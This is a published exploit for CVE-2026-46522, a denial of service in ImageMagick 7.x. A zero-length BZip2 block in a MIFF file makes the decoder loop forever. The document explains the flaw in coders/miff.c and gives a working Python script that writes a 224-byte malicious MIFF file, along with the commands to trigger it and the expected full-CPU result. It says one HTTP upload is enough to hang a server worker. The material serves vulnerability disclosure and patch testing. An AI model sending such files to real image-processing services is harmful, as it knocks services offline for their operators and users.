# Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion # Google Dork: N/A # Date: 2026-05-13 # Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec # Vendor Homepage: https://imagemagick.org/ # Software Link: https://imagemagick.org/download/ # Version: ImageMagick 7.x, verified on 7.1.2-3 system # CVE : CVE-2026-46522 # GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5 """ Description ----------- coders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the per-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns BZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that are neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU. LZMA and Zip branches have the same code shape but their decompressor libraries return BUF_ERROR on empty input, so they bail out. Minimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU until killed by a request timeout or by the OS. Usage ----- python3 miff_bzip_dos.py [OUTPUT_PATH] Default OUTPUT_PATH is /tmp/poc.miff. Then trigger: /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\ timeout 5 magick identify /tmp/poc.miff Expected output: Command exited with non-zero status 124 wall=5.00s user=5.00s cpu=100% exit=124 The process never finishes on its own. Timeout kills it. """ import sys def craft_miff(path: str) -> None: header = ( b"id=ImageMagick version=1.0\n" b"class=DirectClass colors=0 alpha-trait=Undefined\n" b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n" b"columns=1 rows=1 depth=8\n" b"colorspace=sRGB compression=BZip quality=75\n" b"\x0c\n" # form feed terminator, then one byte consumed by ReadBlobByte ) body = b"\x00\x00\x00\x00" # 4-byte MSB length=0, triggers the infinite loop with open(path, "wb") as f: f.write(header + body) import os print(f"[+] Wrote {path} ({os.path.getsize(path)} bytes)") print(f"[+] Trigger with:") print(f" /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\") print(f" timeout 5 magick identify {path}") if __name__ == "__main__": craft_miff(sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff")